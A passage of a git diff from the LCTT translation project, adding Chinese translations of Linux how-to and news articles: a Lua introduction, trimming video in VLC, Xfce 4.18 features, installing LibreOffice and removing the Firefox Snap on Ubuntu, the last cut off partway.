安装 Lua + +在 Linux 下,你可以使用发行版自带的包管理来安装 Lua。例如,在 Fedora、CentOS、 Mageia、OpenMandriva 以及类似发行版中: + +``` +$ sudo dnf install lua +``` + +在 Debian 以及基于 Debian 的系统中: + +``` +$ sudo apt install lua +``` + +对于 Mac,你可以使用 [MacPorts][5] 或者 [Homebrew][6]: + +``` +$ sudo port install lua +``` + +对于 Windows,可以使用 [Chocolatey][7] 安装 Lua。 + +完成安装后,可以在终端中输入 `lua` 来在交互式解释器中使用 Lua。 + +### 函数 + +如许多编程语言一样,Lua 的语法通常是一个内建的函数或关键字,后面跟着参数。例如,`print` 函数显示你传给它的所有参数。 + +``` +$ lua +Lua 5.4.2 Copyright (C) 1994-2020 Lua.org,PUC-Rio + +> print('hello') +hello +``` + +Lua 的 `string` 库可以操作单词(在编程中称为“字符串”)。例如,要统计字符串中的字母数量,你可以使用 `string` 库中 `len` 函数: + +``` +> string.len('hello') +5 +``` + +### 变量 + +变量允许你在计算机内存中为临时的数据创建一个指定的空间。Lua 中创建变量的方法是赋予变量一个名字,接着将数据放入其中。 + +``` +> foo = "hello world" +> print(foo) +hello world +> bar = 1+2 +> print(bar) +3 +``` + +### 表 + +在编程中,数组的使用频率仅次于变量。“数组”这个词的字面意思就是一种排列,而这就是程序中数组的意义了。它是数据的一种排列,因为有排列,所有数组具有结构化的优势。本质上,数组通常用于和变量相同的目的,只不过数组会给对其中的数据进行排序。在 Lua 中,数组被称为“表”。(LCTT 译注:使用过其它编程语言的同学可以发现,Lua 的表相当于其它语言中的关联数组、哈希。) + +创建表和创建变量类似,区别仅在于它的初始化内容被设置为 `{}`: + +``` +> mytable = {} +``` + +当往表中增加数据时,它就如同创建变量一样,区别在于这里的变量之前总是以表名开头,中间使用 `.` 来连接: + +``` +> mytable.foo = "hello world" +> mytable.bar = 1+2 +> print(mytable.foo) +hello world +> print(mytable.bar) +3 +``` + +### 使用 Lua 编写脚本 + +在终端交互环境中运行 Lua 可以得到良好的反馈,但是将 Lua 作为脚本运行会更为有用。Lua 脚本就是包含 Lua 代码的文本文件,Lua 命令可以解析并执行此文件。 + +在刚刚开始学习一门编程语言时,一个永恒的问题是你怎么知道该写什么。这篇文章将提供一个不错的开端,截至目前,你仅知道了两三个 Lua 函数。懂得查阅文档是很关键的。Lua 并不是一个复杂的语言,可以通过 [Lua 文档网站][8] 很方便的获取关键字以及函数的用法。 + +下面是一个练习题。 + +假设你想编写一个 Lua 脚本来统计句子中的单词数量。与众多的编程挑战一样,有许多方法可以解决这个问题,假设你在 Lua 文档中找到的第一个相关的函数是 `string.gmatch`,此函数可以搜索字符串中的特定字符。单词通常通过空格分隔开来,所以你决定计算空格数并加 1 来作为单词的数量。 + +下面是实现的代码: + +``` +function wc(words,delimiter) + count=1 + for w in string.gmatch(words,delimiter) do + count = count + 1 + end + + return count +end +``` + +下面是这个样例代码的解释: + +- `function`:这是声明函数开始的关键字。自定义函数的工作方式与内置函数(如 `print` 和 `string.len`)基本相同。 +- `words` 和 `delimiter`:这是函数运行所需的参数。正如 `print('hello')` 当中,`hello` 是一个参数。 +- `counter`:一个变量,且被初始化为 `1`。 +- `for`:在循环中使用 `string.gmatch` 作为迭代器遍历 `words`,并且在其中搜索`delimiter`。 +- `count = count + 1`:当搜索到了 `delimiter`,则对 `count` 进行自增 1 的操作。 +- `end`:`for` 循环的结束关键字。 +- `return count`:这个函数输出(或返回)`count` 变量的内容。 +- `end`:函数结束的关键字。 + +现在你已经创建了一个函数,你可以使用它。需要记住,函数不会自动运行,而是等待你在代码中调用它。 + +将下面的代码写入文件并保存为 `words.lua`: + +``` +function wc(words,delimiter) + count=1 + for w in string.gmatch(words,delimiter) do + count = count + 1 + end + return count +end + +result = wc('zombie apocalypse',' ') +print(result) + +result = wc('ice cream sandwich',' ') +print(result) + +result = wc('can you find the bug? ',' ') +print(result) +``` + +你现在创建了一个 Lua 脚本。你可以使用 Lua 运行它。随后你会发现统计单词的结果有些问题: + +``` +$ lua ./words.lua +2 +3 +6 +``` + +你也许已经注意到了最后一个句子的单词统计不正确,因为在句子的最后带有一个额外的空格。Lua正确的检测到了空格,并将其计入 `count` 中,但是单子的统计是错误的,因为有个空格并没有作为单词的分隔出现。我把这个问题留给你来解决,或者去发现其他方法,即使方法不太理想。编程中有很多需要思考的地方。有时是纯粹学术性的思考,有时也许是应用是否运训正常的思考。 + +### 学习 Lua + +Lua 是一个有趣且强大的语言,随着版本的推进,功能愈发的强大,开发者群体也在不断的增长。你可以将 Lua 作为实用性的个人脚本使用,或者在工作中使用,或者仅仅是体验一下一个新的语言。尝试一下,看看 Lua 能给你带来什么吧。 + +(LCTT 译注:顺便问一句,你知道 “Lua” 怎么发音吗? 🤣) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/lua-worth-learning + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[MuggleWei](https://github.com/MuggleWei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/10/object-oriented-lua%20 +[2]: https://opensource.com/resources/python +[3]: https://opensource.com/article/22/9/javascript-glossary +[4]: https://github.com/luaj/luaj +[5]: https://opensource.com/article/20/11/macports +[6]: https://opensource.com/article/20/6/homebrew-linux +[7]: https://opensource.com/article/20/3/chocolatey +[8]: http://www.lua.org/docs.html diff --git a/published/202211/20221103.2 ⭐️⭐️ How to Trim a Video in VLC Player [If You Really Want to].md b/published/202211/20221103.2 ⭐️⭐️ How to Trim a Video in VLC Player [If You Really Want to].md new file mode 100644 index 0000000000..229b9304a6 --- /dev/null +++ b/published/202211/20221103.2 ⭐️⭐️ How to Trim a Video in VLC Player [If You Really Want to].md @@ -0,0 +1,134 @@ +[#]: subject: "How to Trim a Video in VLC Player [If You Really Want to]" +[#]: via: "https://itsfoss.com/vlc-trim-video/" +[#]: author: "Sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15241-1.html" + +如何在 VLC 播放器中裁剪视频 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/11/153202yhomxyc1ysuq57x1.jpg) + +VLC 媒体播放器是 [最好的媒体播放器][1] 之一。这款跨平台播放器功能丰富,可以播放任何可用的媒体格式。 + +你会惊讶地发现 VLC 不仅仅是一个视频播放器。它可以对你的媒体文件做很多事情。 + +我们分享过 [使用 VLC 下载 YouTube 视频][2] 的 [VLC 技巧][3]。 + +让我再和你分享一个。用 VLC 裁剪视频怎么样?这不是 [裁剪视频][4] 的最佳方式,但它可以作为一个选择使用。 + +### 使用 VLC 裁剪视频 + +在 VLC 中裁剪视频本质上意味着从所需部分的开头到结尾录制视频。默认情况下,录制控制工具通常在 VLC 面板中不可见。 + +让我详细介绍一下步骤。 + +#### 步骤 1:启用高级控件 + +要获取控件,你需要使其在主控制面板上可见。 + +首先选择“视图View”选项,然后选中“高级控件Advanced Controls”复选框。现在,如截图所示,出现了带有几个按钮的新控件行。 + +![在 vlc 播放器中启用高级控件视图][5] + +#### 步骤 2:打开视频 + +为了裁剪视频,你需要在 VLC 中打开它。你可以通过“媒体Media > 打开文件Open File”在 VLC 播放器中打开视频: + +![通过 vlc 文件菜单打开媒体文件][6] + +或者你可以使用 Nautilus 文件管理器中的 VLC 打开视频文件: + +![使用 nautilus 文件管理器中的 vlc 播放器打开媒体文件][7] + +#### 步骤 3:使用 VLC 的录制功能裁剪视频 + +打开视频文件后,将时间线设置为所需输出的起点并暂停视频。之后,按“录制”按钮并播放视频。 + +![在起点暂停,按录制键开始录制][8] + +当达到所需输出的终点时,暂停视频并再次按下“录制”按钮停止录制。 + +![在终点暂停并按下录制][9] + +这应该将裁剪后的输出保存到你的 `~/Videos` 目录中。 + +![nautilus 文件管理器中的原始和裁剪后文件][10] + +### 故障排除:无法识别的输出文件 + +VLC 以 .ts 文件格式录制视频。这在 VLC 中受支持,你可以根据需要使用它。但是 Ubuntu 中的许多其他播放器,包括本地视频播放器,都无法识别该格式。因此,在这种情况下,有两种解决方案。 + +#### Gnome-Video 提示安装 GStreamer 包 + +当你尝试打开文件时,GNOME-Videos 会提示错误并建议安装 Gstreamer 多媒体编解码器。 + +![转换后的视频在 gnome 视频播放器中显示播放错误][11] + +你可以点击上图所示的 “在 Ubuntu 软件应用中查找Find in Ubuntu Software” 按钮,这将打开 Ubuntu 软件中心。你可以在那里安装所需的编解码器包。 + +![根据 GNOME 视频播放器的提示从软件中心安装 gstreamer][12] + +同样安装 Gnome-videos 并使用它打开视频将解决问题。 + +#### 使用 VLC 转换视频文件 + +如果你不想为此安装任何额外的软件包,你可以使用 VLC 本身将 .ts 文件转换为 mp4 格式以在任何其他播放器中播放。 + +为此,打开 VLC 并在“媒体Media”菜单下选择“转换/保存Conver/Save”选项。 + +![从媒体菜单中选择转换][13] + +现在,使用“添加Add”按钮提供需要转换的文件的位置,然后选择“转换/保存Conver/Save”,如截图所示。 + +![在媒体转换对话框中选择要转换的文件][14] + +选择所需的输出配置(MP4)并为输出设置文件名,然后按“开始Start”。 + +![在 vlc 媒体转换菜单中设置转换配置和输出文件名][15] + +这将开始转换,并根据源的时长决定转换时间。完成后,你可以从 `~/Videos` 目录访问转换后的输出。 + +![nautilus 文件管理器中的原始裁剪和转换文件][16] + +### 总结 + +虽然确实可以使用 VLC 播放器来裁剪视频,但整个过程与专门的 [视频编辑器][17] 完全不同。 + +最大的问题是你需要观看所有裁剪部分才能完成裁剪,如果你要裁剪跨越数分钟的视频的一大部分,这就不方便了。 + +无论如何,这个很酷的功能在某些情况下可能是一个方便的工具,比如你想要的只是裁剪一个特定的小剪辑或从电影场景中制作一个 Gif。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/vlc-trim-video/ + +作者:[Sreenath][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/video-players-linux/ +[2]: https://itsfoss.com/download-youtube-videos-vlc/ +[3]: https://itsfoss.com/simple-vlc-tips/ +[4]: https://itsfoss.com/video-trimmer/ +[5]: https://itsfoss.com/wp-content/uploads/2022/11/enable-advanced-controls-view-in-vlc-player.png +[6]: https://itsfoss.com/wp-content/uploads/2022/11/open-media-file-through-vlc-file-menu.png +[7]: https://itsfoss.com/wp-content/uploads/2022/11/open-media-file-with-vlc-player-from-nautilus-file-manager.png +[8]: https://itsfoss.com/wp-content/uploads/2022/11/pause-at-start-point-and-start-record-by-pressing-record-button.png +[9]: https://itsfoss.com/wp-content/uploads/2022/11/pause-at-end-point-and-press-record.png +[10]: https://itsfoss.com/wp-content/uploads/2022/11/original-and-trimmed-file-in-nautilus-file-manager.png +[11]: https://itsfoss.com/wp-content/uploads/2022/11/converted-video-shows-a-play-error-in-gnome-video-player-app.png +[12]: https://itsfoss.com/wp-content/uploads/2022/11/install-gstreamer-from-software-as-prompted-by-the-gnome-video-player.png +[13]: https://itsfoss.com/wp-content/uploads/2022/11/select-convert-from-media-menu.png +[14]: https://itsfoss.com/wp-content/uploads/2022/11/select-file-to-convert-in-the-media-convert-dialog-box.png +[15]: https://itsfoss.com/wp-content/uploads/2022/11/set-conversion-profiles-and-output-file-name-in-vlc-media-convert-menu.png +[16]: https://itsfoss.com/wp-content/uploads/2022/11/original-trimmed-and-converted-file-in-nautilus-file-manager.png +[17]: https://itsfoss.com/open-source-video-editors/ diff --git a/published/202211/20221103.3 ⭐️⭐️ Xfce 4.18 Top New Features & Release Guide.md b/published/202211/20221103.3 ⭐️⭐️ Xfce 4.18 Top New Features & Release Guide.md new file mode 100644 index 0000000000..a83182981f --- /dev/null +++ b/published/202211/20221103.3 ⭐️⭐️ Xfce 4.18 Top New Features & Release Guide.md @@ -0,0 +1,163 @@ +[#]: subject: "Xfce 4.18: Top New Features & Release Guide" +[#]: via: "https://www.debugpoint.com/xfce-4-18-features/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15228-1.html" + +前瞻:Xfce 4.18 主要新功能 +====== + +> 有关 Xfce 4.18 的核心和原生应用程序的功能的全面介绍。 + +经过近两年的开发,Xfce 4.18 将在 2022 年圣诞节期间发布。作为 [Xfce 4.16][1] 以来的重要的版本,其一直在开发标签 4.17 下进行开发,以增强这个轻量级桌面。 + +考虑到 GTK4 的更新、初步的 Wayland 支持,以及核心和本地应用程序的改进,Xfce 4.18 是一个重要的里程碑版本,其带来了大量更新。 + +从发布时间来看,第一个 Xfce 4.18 预发布版(pre1)已经发布。2022 年 12 月的第一周会有另一个预发布版。而 Xfce 4.18 的最终版本预计将在 2022 年 12 月 15 日至 12 月 29 日之间发布。 + +由于目前还没有官方的详细介绍,我在这篇文章中总结了 Xfce 4.18 的基本和主要功能。 + +请继续阅读。 + +![Xfce 4.18 pre1 (compiled in Arch)][2] + +### Xfce 4.18 的新功能 + +#### 1、核心库更新 + +Xfce 4.18 的依赖关系有所改变,并使用以下版本进行编译: + +- glib-2.0 >= 2.66 +- gtk >= 3.24 +- libcairo >= 1.16 +- gdk-pixbuf-2.0 >= 2.40 +- gobject-introspection >= 1.66 + +#### 2、桌面和面板 + +顶部的主面板带来了新的设置和调整。但整体外观仍与以前的 4.16 版本中的一样。一些默认的面板小程序在这个版本中也有变化。桌面图标、右键上下文菜单和项目保持不变。 + +面板的首选项设置有两个新的选项。首先,面板的长度现在以**像素**设置,而不是百分比。其次,一个新的选项,“保持面板在窗口上方Keep panel above windows” ,可以让你将窗口对话放到面板后面。之前,应用程序的窗口只能达到面板的边缘。 + +![Xfce 4.18 中的面板首选项][3] + +彻底修改了时钟小程序的设置。是的,你终于可以改变 Xfce 时钟小程序的字体风格。与此同时,它提供了四种时钟布局: + +- 只有日期 +- 只有时间 +- 日期和时间 +- 时间和日期 + +此外,你还可以向日历中添加命令。 + +![终于你可以改变 Xfce 时钟小程序的字体了][4] + +#### 3、Thunar 文件管理器 + +也许这个版本中最令人兴奋的变化是 Thunar 文件管理器的功能。首先,一个新的“搜索”图标取代了工具栏上的“重新加载”按钮。当点击时,它会在地址栏上出现搜索,可以使用你的搜索关键词进行递归搜索。重新加载按钮被放到了 “查看View” 菜单中。 + +其次,在左边的导航栏上增加了一个的新项目,“最近Recent”。在底部,元数据更有条理(从逗号分隔改为竖线分隔),还有一个新的上下文菜单项可以选择你想要显示的元数据。 + +![Thunar 4.18 的视觉变化][5] + +Thunar 的主菜单有很多变化。下面列出了主要的变化。在下面的图片中还标注了自 4.16 以来的变化。 + +- 引入了一个**新的书签菜单**,可以将当前文件夹作为快捷方式添加到侧边栏。 +- “编辑Edit”菜单有了 “撤销undo” 和 “重做redo” 选项。 +- “前往Go” 菜单有了 “最近Recent” 和 “搜索Search” 的选项。 + +Thunar 首次通过 “视图View”菜单项有了“分割视图Split view”! 是的,你现在可以在视图面板中拖放项目。 + +前不久,我 [报道][6] 说图像预览即将在 Thunar 中出现。而它终于来了。作为谷歌代码之夏 2022 的部分开发成果,你现在可以嵌入在侧边栏中看到图片预览。或者在右边的一个独立的新面板上查看。它可以通过偏好设置来改变。 + +下面是它的外观。 + +![带有独立图像预览的 Thunar 分割视图][7] + +![嵌入图像预览的 Thunar 分割视图][8] + +#### 4、Thunar 的首选项 + +Thunar 设置中出现了大量调整。首先,一个新的选项卡可以为 Thunar 定制你的键盘快捷键。你可以直接指定新的快捷键组合,并从这个选项卡中改变现有的快捷键组合。 + +![Thunar 的新快捷键标签][9] + +“显示Display” 设置中新增了一个缩略图部分,你现在可以指定缩略图的文件大小。缩略图的具体设置也被归为一组。 + +![4.18 版的 Thunar 显示设置][10] + +“侧面板Side Pane” 选项卡有了一个新的图像预览选项,你在上面看到过。你可以设置为嵌入式或独立式预览。此外,“行为 Behaviour” 选项卡增加了 “启动时恢复选项卡restore tabs on startup” 和在选项卡标题中显示 “完整的目录路径full directory path” 的选项,这将有很大帮助。 + +“高级Advanced” 选项卡为 “文件传输File Transfer” 提供了一个新的设置部分,有两个新的选项:“中间文件复制Intermediate file copy”和“验证校验和Verify checksum”。此外,在这个选项卡中还增加了一个新的递归搜索的选项。你还可以通过以下选项将 Thunar 设置为直接 “执行 Shell 脚本Execute Shell script”。 + +![Thunar 4.18 的高级选项][11] + +除了上述变化外,文件夹属性对话框现在可以显示文件和文件夹的数量。另外,一个新的高亮选项使你能够为你的文件夹图标背景和前景选择任何自定义颜色。如果你有一个复杂的文件夹结构,这将使你能够快速导航。 + +下面是它的外观。 + +![文件夹高亮演示][12] + +#### 设置 + +“外观Appearances” 设置现在允许你打开和关闭对话框的标题栏。 + +“桌面Desktop” 设置允许文件上下文菜单中的删除选项(打开或关闭)。 + +“显示Display” 设置现在允许你为多种显示情况设置默认值:镜像、扩展显示还是什么都不做。早些时候,这些选项在显示器被连接时才可用。 + +#### Wayland 和其他更新 + +除了上述 Xfce 4.18 的功能外,窗口管理器和桌面还有许多额外的错误修复和性能改进。这些都是在底层的,你应该能感受到一个更精良的 Xfce 桌面体验。 + +Xfce 桌面核心和原生应用程序的 Wayland 迁移工作开始了。离它完全准备好还有很长的路要走。在这个版本中,你可能不会看到很多 Wayland 的更新。然而,许多应用程序在 Wayland 下已经可以正常工作了。你可以在 [本页][13] 了解更多关于迁移状态的信息。 + +### 下载及什么时候出现在发行版 + +Xfce 4.18 应该会在 2023 年 4 月进入 Ubuntu 23.04 Lunar Lobster,并在 Fedora 38 中出现。基于滚动发布的发行版,如 Arch Linux、Manjaro 和 OpenSUSE Tumbleweed 应该会在 2022 年 12 月发布后的几天内得到它。轻量级的流行发行版 [MX Linux][14] 应该在 2023 年采用这个版本,这个时候也是 Debian Bookworm 更新的时候。 + +Xfce 4.18 的第一个预发布版本 [现已发布][15]。你可以从下面的页面下载源码压缩包,并编译它们。请参考官方的 [编译指南][16]。 + + > **[下载 Xfce 4.18 源代码(pre1)][17]** + +### 总结 + +总的来说,变化的数量巨大。许多核心变化和需要的变化都进入了这个版本。Thunar 文件管理器的更新是早该进行的,对于 Xfce 的爱好者来说应该是完美的。 + +随着 Wayland 的支持,未来的 Xfce 版本可能会带来一个可行的 Xfce 版本。Wayland 的支持仍在进行中,每个组件都有许多决定有待作出。许多发行版和关键部署仍然喜欢 Xfce 而不是 KDE Plasma 或 GNOME。考虑到这些用例和未来的路线图,Xfce 4.18 是下一个版本之前的一个重要的里程碑。 + +列表中你最喜欢的功能是什么?请在评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/xfce-4-18-features/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/xfce-4-16-review/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/11/Xfce-4.18-pre1-compiled-in-Arch-1024x594.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/11/Panel-preferences-in-Xfce-4.18.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Finally-you-can-change-the-font-of-Xfce-Clock-applet.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-4.18-visual-changes.jpg +[6]: https://debugpointnews.com/thunar-image-preview/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-split-view-with-embedded-image-preview.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-split-view-with-sidebar-image-preview.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/11/New-shortcut-tab-in-Thunar.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-Display-Settings-in-4.18.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/11/Advanced-options-of-Thunar-4.18.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/11/Folder-highlight-demo.jpg +[13]: https://wiki.xfce.org/releng/wayland_roadmap +[14]: https://www.debugpoint.com/tag/mx-linux +[15]: https://www.reddit.com/r/xfce/comments/yjiwwv/announce_xfce_418pre1_released/ +[16]: https://docs.xfce.org/xfce/building +[17]: https://archive.xfce.org/xfce/4.18pre1/fat_tarballs diff --git a/published/202211/20221104.3 ⭐️ How to Install Latest LibreOffice in Ubuntu and other Linux.md b/published/202211/20221104.3 ⭐️ How to Install Latest LibreOffice in Ubuntu and other Linux.md new file mode 100644 index 0000000000..179b548be1 --- /dev/null +++ b/published/202211/20221104.3 ⭐️ How to Install Latest LibreOffice in Ubuntu and other Linux.md @@ -0,0 +1,135 @@ +[#]: subject: "How to Install Latest LibreOffice in Ubuntu and other Linux" +[#]: via: "https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15277-1.html" + +如何在 Ubuntu 中安装最新的 LibreOffice +====== + +![][0] + +> 在 Ubuntu 和其他 Linux 中安装最新的 LibreOffice 版本的快速指南。 + +自由开源的办公套件 LibreOffice 有两个版本:社区版和企业版。“社区” 版是为那些希望获得最新的尖端软件技术的早期采用者准备的。而 “企业” 版本更加稳定,可能不包括所有的最新功能,但它是生产环境和专业工作的理想选择。 + +### 在 Ubuntu 和其他 Linux 中安装最新的 LibreOffice + +#### 1、删除预安装的 LibreOffice + +Ubuntu 和其他的 Linux 发行版带有预安装的 LibreOffice。这可能不是最新的,这是因为发行版有特定的发行周期。在进行新安装之前,你可以通过以下命令删除 Ubuntu 及其衍生发行版中的的旧版本。 + +打开一个终端并运行以下命令,以删除 Ubuntu 和相关发行版中的已安装的 LibreOffice。对于其他发行版,你可以使用发行版的软件包管理器将其删除。 + +``` +sudo apt remove –purge libreoffice* +sudo apt autoclean +sudo apt autoremove +``` + +然后重启以确保一切正常(尽管你也可以跳过这一步)。 + +#### 2、从网站上下载安装 + +前往 [官方下载页面][1]. 并通过从下拉菜单中选择类型下载 “最新的” 版本。对于 Ubuntu 和其他衍生产品,请选择 .deb 文件。 + +![LibreOffice download and install from official website][2] + +下载后,提取文件;你应该看到下面的所有软件包。 + +![Extracted LibreOffice DEB files][3] + +在提取文件的位置打开终端,并按顺序运行以下命令。首先,你需要安装 ure 包,其次是核心包,然后是所有的基本包。最后,就是主要的 LibreOffice 软件包。下面是一组典型的命令。你需要更改为具体版本的版本号。 + +``` +sudo dpkg -i libobasis7.0-ure_7.0.4.2-2_amd64.deb +sudo dpkg -i libobasis7.0-core_7.0.4.2-2_amd64.deb +sudo dpkg -i libobasis7.0* +``` + +``` +sudo dpkg -i libreoffice7.0* +``` + +如果你使用的是 Fedora Linux 或 Red Hat Linux,请按照上述相同的顺序使用 [dnf 命令][4]。 + +![Install LibreOffice via dpkg][5] + +等待安装完成。完成后,你可以通过应用程序菜单找到 LibreOffice。 + +![Latest LibreOffice in Menu][6] + +这应该完成安装最新 LibreOffice 的步骤。如果你不想遵循上述方法,请参阅以下选项。 + +### 通过 PPA 安装 + +如果你想通过 PPA 安装它,请按照以下步骤操作。确保在上面的第 1 步中删除现有的 LibreOffice。 + +``` +sudo add-apt-repository ppa:libreoffice/ppa +``` + +最后,运行以下命令从这个官方 PPA 安装最新的 LibreOffice 5.4 系列。 + +``` +sudo apt update +sudo apt install libreoffice +``` + +安装后,你可以通过 Dash 搜索启动 LibreOffice。 + +![LibreOffice 5.4.2 Running in Ubuntu][7] + +### 通过 Snap 和 Flatpak 安装 + +如果你是 Linux 用户,你可以尝试 LibreOffice 独立的可执行文件,它在 Snap 或 Flatpak 等沙箱中运行。 + +要通过 [Flatpak][8] 安装 LibreOffice ,请访问 [这个页面][9] 进行设置,然后运行以下命令进行安装: + +``` +flatpak install flathub org.libreoffice.LibreOffice +``` + +同样,对于 [Snap][10] 版本,使用以下命令进行安装: + +``` +sudo snap install libreoffice +``` + +### 如何升级到最新的 LibreOffice 版本? + +如果你不想删除 LibreOffice 但想升级到最新版本,请阅读我们下面的完整指南。 + +> **[在 Ubuntu、Linux Mint 和 Windows 中升级到最新的 LibreOffice][11]** + +如果你在安装最新的 LibreOffice 时遇到问题,请随时留言。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.libreoffice.org/download/download/ +[2]: https://www.debugpoint.com/wp-content/uploads/2017/10/LibreOffice-download-and-install-from-official-website.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2017/10/Extracted-LibreOffice-DEB-files.jpg +[4]: https://www.debugpoint.com/dnf-commands-examples/ +[5]: https://www.debugpoint.com/wp-content/uploads/2017/10/Install-LibreOffice-via-dpkg.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2017/10/Latest-LibreOffice-in-Menu.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2017/10/LibreOffice-5.4.2-Running-in-Ubuntu-.png +[8]: https://flathub.org/apps/details/org.libreoffice.LibreOffice +[9]: https://flatpak.org/setup/ +[10]: https://snapcraft.io/libreoffice +[11]: https://www.debugpoint.com/libreoffice-upgrade-update-latest/ +[12]: https://www.debugpoint.com/libreoffice-upgrade-update-latest/embed/#?secret=KINquNxuYI#?secret=FGij1s6Mfc +[0]: https://img.linux.net.cn/data/attachment/album/202211/21/232133g8pmpgssszv6p1v8.jpg \ No newline at end of file diff --git a/published/202211/20221104.4 ⭐️ How to Remove Firefox Snap from Ubuntu (21.10 +).md b/published/202211/20221104.4 ⭐️ How to Remove Firefox Snap from Ubuntu (21.10 +).md new file mode 100644 index 0000000000..9d673255d5 --- /dev/null +++ b/published/202211/20221104.4 ⭐️ How to Remove Firefox Snap from Ubuntu (21.10 +).md @@ -0,0 +1,138 @@ +[#]: subject: "How to Remove Firefox Snap from Ubuntu (21.10 +)" +[#]: via: "https://www.debugpoint.com/remove-firefox-snap-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15247-1.html" + +如何从 Ubuntu 21.10 及以后版本中删除 Firefox Snap +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/13/112531vis11sa2z1jbs215.jpg) + +> Ubuntu 21.10 “Impish Indri” 及之后的版本将 Firefox Snap 设为默认浏览器。如果你不喜欢 Snap,可以通过以下方式将其删除并使用库存版本。 + +关于 Snap 是否是 APT 的更好替代品,一直存在争议。而许多用户更喜欢 Snap 系统,也有一些人非常讨厌它。Ubuntu 和 Canonical 认为它是 Linux 的最佳安装仓库和包管理工具之一。 Snap 被讨厌的主要原因是它的启动很慢。然而,这个论点是另一篇文章的内容。 + +### 从 Ubuntu 中删除 Firefox Snap 版本 + +所以,如果你还没有 [听说过这件事][1],Ubuntu 21.10(和所有后续版本)默认提供 Firefox Snap 包。因此,当你从 Ubuntu 21.10 开始安装时,默认的左侧停靠区的快捷方式是 Firefox 的 Snap 版本。你可以使用以下各种方法对其进行验证。 + +![snap 列表 - Firefox][2] + +![Firefox snap 桌面快捷方式][3] + +如果你因为 [性能][4] 和存储问题而不喜欢 Snap,可以通过以下命令将其删除。 + +如果已经打开,那么关闭所有 Firefox 实例。 + +打开一个终端。然后运行以下命令: + +``` +sudo snap remove firefox +``` + +等待命令完成。这将从你的系统中删除它的 Snap 可执行文件,并断开 Firefox 与各种系统服务的连接。但是主目录下的 Snap 目录仍然存在。你可以使用以下命令手动删除它: + +``` +cd ~/snap +rm -r firefox +``` + +### 安装 Firefox 替代方法 + +现在,当你删除了 Firefox,你可以通过以下方式来使用此浏览器。 + +#### 方法 1 – 使用 PPA(推荐) + +在使用此方法之前,请确保如上删除了 Firefox 的 Snap 版本。 + +有一个 [官方 Firefox PPA][5],由其开发团队维护。你可以将此 PPA 添加到你的软件源中,并使用它来安装最新的 Firefox。 + +确保使用文本编辑器创建一个首选项文件,以阻止 Ubuntu 在运行 `apt update` 命令时获取 Firefox 的 Snap 版本: + +``` +sudo gedit /etc/apt/preferences.d/firefox-no-snap +``` + +将以下行添加到上面的文件并保存: + +``` +Package: firefox* +Pin: release o=Ubuntu* +Pin-Priority: -1 +``` + +依次使用以下命令。第一个命令将其从你的系统中完全清除它: + +``` +sudo apt purge firefox +sudo add-apt-repository ppa:mozillateam/firefox +sudo apt-get update +sudo apt install firefox +``` + +安装完成后,请确保使用以下命令启用自动升级: + +``` +echo 'Unattended-Upgrade::Allowed-Origins:: "LP-PPA-mozillateam:${distro_codename}";' | sudo tee /etc/apt/apt.conf.d/51unattended-upgrades-firefox +``` + +重启系统(可选)并使用 deb 版本的 Firefox。 + +#### 方法 2 – 使用 Firefox 